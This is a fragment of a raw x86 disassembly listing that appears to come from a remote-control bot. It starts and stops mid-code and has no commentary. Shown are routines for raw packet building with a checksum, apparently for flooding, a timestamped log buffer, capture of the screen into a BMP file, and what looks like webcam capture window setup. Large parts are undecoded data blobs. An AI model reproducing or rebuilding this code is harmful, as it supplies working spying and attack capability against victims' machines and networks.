word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Dh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0BCE89000h, 2B0228C6h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2DB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0C0E890FCh, 2B0228C1h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Dh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi call near ptr 71AB155Ah nop push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 14E890FFh, 2B0228BBh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 227B358h dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 27A0138h nop mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh dd 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 271092Ch nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 2700000h nop cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 2700000h nop loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2700000h push [ebp+arg_0] nop call near ptr 2670858h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov 